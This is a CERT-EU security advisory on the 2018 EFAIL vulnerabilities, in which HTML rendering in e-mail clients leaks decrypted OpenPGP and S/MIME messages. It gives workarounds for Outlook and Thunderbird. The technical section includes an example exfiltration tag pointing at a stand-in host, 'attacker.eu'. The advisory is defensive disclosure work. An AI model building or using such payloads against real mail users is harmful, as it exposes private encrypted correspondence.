CERT-EU Security Advisory 2018-014

Vulnerabilities in OpenPGP and S/MIME Client Implementations

May 14, 2018 — v1.0

History:

- *14/05/2018 — v1.0: Initial publication*

Summary

On 14th of May 2018, security researchers released technical details concerning vulnerabilities impacting OpenPGP and S/MIME encryption technologies [1]. These vulnerabilities abuse e-mail clients rendering HTML content when displaying e-mails to exfiltrate plaintext content of OpenPGP or S/MIME encrypted email. Security researchers named those vulnerabilities **EFAIL**.

To exploit the vulnerabilities, the attacker needs to encapsulate previously captured encrypted content in an HTML e-mail sent to the victim. If the victim's e-mail client is rendering HTML and allows content download from external websites, the decrypted content can be attached to the outgoing request.

Technical Details

The **EFAIL** paper describes two types of attacks.

The first one (Direct Exfiltration) consists of encapsulating the PGP or S/MIME content inside HTML tags (such as `<IMG src="http://attacker.eu/">`). When the client decrypts the encrypted part, the plaintext is concatenated to the HTML tag URL. If the e-mail client is authorized to fetch content from an external source, the HTTP(S) request performed contains the decrypted message.

The second attack type consist of injecting HTML tags into encrypted plaintext by abusing CBC mode (S/MIME) or CFB mode (OpenPGP). To successfully exploit these flaws, the attacker needs a part of the plaintext message. In most cases, S/MIME and PGP encrypted messages start with specific strings, allowing the attacker to perform the attack. If successful, the plaintext message is concatenated to the HTML tag URL and – again – if the e-mail client is authorized to fetch content from an external source, the HTTP(S) request performed contains the decrypted message.

Two CVEs were provided for the CBC/CFB gadget attacks:

- CVE-2017-17688: OpenPGP CFB gadget attacks
- CVE-2017-17689: S/MIME CBC gadget attacks

Products Affected

Most S/MIME and OpenPGP implementations in popular e-mail clients are affected by those vulnerabilities. Some of them, like Enigmail, already patched the vulnerability in their latest version.

Recommendations

Upgrade to the most recent version of e-mail clients and PGP or S/MIME implementations when available.

Workarounds

Is is highly recommended to disable HTML rendering in e-mail clients or at least deny downloads from external sources in HTML emails.

For Outlook 2016:

- in `File` > `Options`
- `Trust Center` > `Trust Center Settings...`
- `E-mail security` > Check `Read all standard mail in plaintext` and `Read all digitally signed mail in plai`

For Thunderbird:

- In `View` > `Message Body As`
- Select `Plain text`

References

[1] https://efail.de/

[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-17688

[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-17689